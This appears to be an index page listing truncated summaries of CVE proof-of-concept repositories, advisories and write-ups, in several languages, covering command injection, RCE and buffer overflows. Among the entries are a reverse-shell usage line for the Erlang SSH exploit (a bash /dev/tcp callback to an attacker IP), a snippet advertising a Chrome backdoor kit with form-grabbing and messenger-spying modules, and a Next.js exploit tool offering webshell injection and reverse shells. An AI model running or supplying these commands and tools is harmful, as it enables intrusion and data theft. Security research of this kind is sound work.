CVE-2010-2075

CVE-2010-2075 — Exploit de puerta trasera en UnrealIRCd 3.2.8.1 Descripción general UnrealIRCd es un servidor IRC Internet Relay Chat de código abierto — un protocolo que permite a los usuarios comunicarse en tiempo real a través de una red, similar a las primeras plataformas de chat. Entre 2009 ...

CVE-2026-1961-foreman-poc

Foreman WebSocket Proxy Command Injection CVE-2026-1961 — PoC Proof-of-concept for a command injection vulnerability in Foreman's WebSocket proxy lib/wsproxy.rb, disclosed responsibly to Red Hat and patched. Summary Foreman's WebSocket proxy interpolates an unsanitized host value, sourced from a...

CVE-2026-73570

🔴 CVE-2026-73570 — high-severity unauthenticated RCE ⚠️ Unauthenticated OS Command Injection → Remote Code Execution Zimbra Collaboration Suite · SNMP Notification Processing 🧠 Overview CVE-2026-73570 is a high-severity OS command injection vulnerability affecting specific configurations of Zimbra...

FORTIWEB_CVE-2025-64446-58034

FortiWeb 漏洞利用模拟 CVE-2025-64446 & CVE-2025-58034 注意： 本文档仅供学习与安全研究之用。 未经授权，切勿用于攻击系统。 1. 概述 FortiWeb 是一种用于保护 Web 应用程序的 Web 应用防火墙 WAF 设备。 2025 年，发现两个严重漏洞： CVE-2025-64446 – 通过路径遍历绕过身份验证 CVE-2025-58034 – 操作系统命令注入 2. CVE-2025-64446 概述 项目| 内容 ---|--- 漏洞类型| 相对路径遍历 身份验证绕过 原因| FortiWeb 在身份验证前未严格处理路径： -...

HTB-TwoMillion-Writeup

HTB-TwoMillion-Writeup HackTheBox TwoMillion 机器 Writeup — API滥用、命令注入与CVE-2023-0386 HackTheBox — TwoMillion Writeup HackTheBox — TwoMillion Writeup 机器信息 字段| 详情 ---|--- 名称| TwoMillion 难度| Easy 操作系统| Linux IP| 10.10.11.221 CVE| CVE-2023-0386 概述 TwoMillion 是一台 Easy 难度的 Linux 机器，主题围绕旧的 HackTheBox...

CVE-2026-76060_ZoneMinder_CommandInjection-PoC

拭目以待 针对 ZoneMinder 事件导出功能（web/includes/downloadfunctions.php）中 OS 命令注入漏洞的概念验证。 监控器名称通过手动单引号包裹的方式直接插入到 shell 命令中，而非使用 escapeshellarg。能够创建监控器的攻击者可以注入任意 shell 命令，当任何用户触发事件导出时，这些命令将以 www-data/进程运行用户身份执行。 根本原因 2023 年 10 月 4 日的提交 44c5c3c 引入了 downloadfunctions.php...

chromebackdoor

Chrome browser backdoor VIDEO Install Text V 3.0 Install Video OLD Binder guide Module guide Form grabber plugins Facebook MessengerSpy plugins Jabber Notifier/ Hide Panel Windows infection Rubber Ducky Payload Require: pip install crxmake wine32 Let's go python chromebackdoor.py user: root pass:...

EUVD-2026-95328

IBM Guardium Data Protection 12.2.2, and 12.1 could allow a remote attacker to execute arbitrary SQL commands due to improper neutralization of special elements used in an SQL command...

EUVD-2026-95331

IBM Guardium Data Protection 12.2.2, and 12.1 could allow a remote attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 漏洞扫描与利用工具，针对 Next.js 应用程序的远程代码执行漏洞。支持批量检测、命令执行、哥斯拉内存马注入以及反弹 Shell 功能。 ⚠️ 本工具仅供安全研究和授权测试使用，请勿用于非法用途。 特性 多目标扫描 ：支持单个 URL、文件列表（每行一个 URL）以及包含多个 .txt 文件的文件夹。 多线程并发 ：可自定义线程数，提升扫描效率。 漏洞验证 ：通过计算随机数乘积的方式验证漏洞是否存在。 命令执行 ：在漏洞目标上执行任意系统命令（支持 Linux 和 Windows）。...

CVE-2025-15545

CVE-2025-15545 信息 厂商： TP-Link 厂商网站： TP-Link 型号： Archer RE605X 硬件版本： RE605X v3.0 固件版本： RE605XEUV31.1.5 Build 20240905 固件下载地址： TP-Link 一系列漏洞——包括使用硬编码的加密密钥以及 XML 配置解析器组件中的命令注入——使本地已认证攻击者能够以 root 身份在设备上实现远程代码执行（RCE）。 PoC 要求 注意： exploit.py 概念验证演示了一个链式攻击场景，并依赖已认证用户的凭据作为额外的前提条件。此认证步骤不在 CVE-2025-15545...

CVE-2025-5548

🛡️ CVE-2025-5548 – FreeFloat FTP 服务器缓冲区溢出利用 📌 概述 本仓库记录了对 FreeFloat FTP 服务器 应用中基于栈的缓冲区溢出漏洞 的发现与利用过程。 该漏洞存在于 USER 命令的处理逻辑中，不安全的堆内存操作（strcpy）允许攻击者覆盖栈并控制执行流程。 本项目演示了从逆向工程到任意代码执行的完整利用流程。 🎯 漏洞详情 目标软件： FreeFloat FTP 服务器（Win32） 漏洞类型： 基于栈的缓冲区溢出 攻击向量： FTP USER 命令 影响： 远程代码执行（RCE） 根本原因： 不安全的内存处理（未进行边界检查的...

CVE-2026-26832

CVE-2026-26832: node-tesseract-ocr 中的操作系统命令注入 摘要 node-tesseract-ocr 至版本 2.2.1 允许在 src/index.js 的 recognize 中进行操作系统命令注入。该包构建一个 shell 命令字符串并使用 childprocess.exec 执行它。由于输入路径仅用双引号包裹，攻击者可以通过精心构造的文件路径注入 shell 语法。 受影响产品 产品| 受影响版本| 修复版本 ---|---|--- node-tesseract-ocr| 所有 2.2.1 及之前版本| 截至 2026-03-24 无可用修复...

PT-2026-108985

Name of the Vulnerable Software and Affected Versions Argo CD versions 2.11.0 through 3.3.14 Argo CD versions 3.4.0 through 3.4.9 Argo CD versions 3.5.0 through 3.5.3 Argo CD versions 3.6.0-rc1 and earlier Description The Argo CD repo-server is subject to command injection when cloning, testing, ...

CVE-2025-9090

CVE-2025-9090 作者：Byte Reaper 描述 此漏洞利用程序针对 CVE-2025-9090 ，这是 Tenda AC20 v16.03.08.12 路由器中的一个命令注入漏洞。 该漏洞位于端点 /goform/telnet，可远程触发。 访问该端点后，会启动设备上的 Telnet 服务，开放端口 23/2323 用于远程交互。 程序向该易受攻击的端点发送请求，查找响应字符串 "load telnetd success" ，然后尝试连接 Telnet 服务以确认利用成功。 构建 使用 gcc 编译： gcc exploit.c argparse.c -o...

CVE-2025-7769

CVE-2025-7769 – mobileapi 中的远程命令注入 描述： 本仓库包含针对 CVE-2025-7769 的概念验证（PoC）利用代码，该漏洞是 Tigo Energy CCA 设备在暴露 /cgi-bin/mobileapi 端点时存在的一个严重远程命令注入 漏洞。 该漏洞通过在 cmd JSON 键中注入操作系统命令触发，未经过滤的输入直接拼接到系统调用中，从而允许在设备上实现完全远程代码执行（RCE）。 参考： NVD 条目：https://nvd.nist.gov/vuln/detail/CVE-2025-7769 使用方法： gcc exploit.c...

CVE-2025-26794-exploit

CVE-2025-26794：Exim ETRN SQL 注入漏洞利用工具 一个针对 CVE-2025-26794 的概念验证（PoC）利用工具，演示了 Exim 4.98 邮件服务器在使用 SQLite DBM 存储时，通过 ETRN 命令触发的 SQL 注入漏洞。 ⚠️ 法律免责声明 仅供授权的安全测试使用 本工具仅用于教育目的和授权渗透测试。未经授权访问计算机系统违反多项法律，包括： 美国《计算机欺诈与滥用法》（CFAA） 英国《计算机滥用法》 其他司法辖区的类似法律 在测试任何非您所有的系统之前，您必须获得明确的书面授权。 作者和贡献者对本工具造成的滥用或损害不承担任何责任。 📋...

MangoPunch-CVE-2022-31898

🥭 MangoPunch：CVE-2022-31898 GL.iNet 设备认证后的操作系统命令注入 | / | | \ | | | \ / | | | | | | | |/| |/ | ' \ / |/ | / | | | ' \ / | ' \ | | | | | | | | | | | | | | || | | | | | | | | || ||,|| ||, |/|| ,|| |||| || / | |/ 🔍 漏洞概述 本仓库包含针对 GL.iNet MT300N-V2（Mango）及运行固件版本低于 3.215...

CVE-2024-25081_2025-47273

CVE-2024-25081 和 CVE-2025-47273 概念验证 FontForge ≤ 20230101 版本 和 Setuptools 库 概念验证用于提升运行使用 Font Forge 的任务的用户的权限。第二个 CVE 能够将权限提升至 root，前提是您对敏感目录拥有写入权限。 更多信息： CVE ID| 漏洞| 影响 ---|---|--- CVE-2024-25081| 在将文件名传递给 shell 之前未进行清理| 命令注入（以所有者用户身份） CVE-2025-47273| 在解码 URL 之前进行初步清理 - URL编码| 路径遍历并写入文件...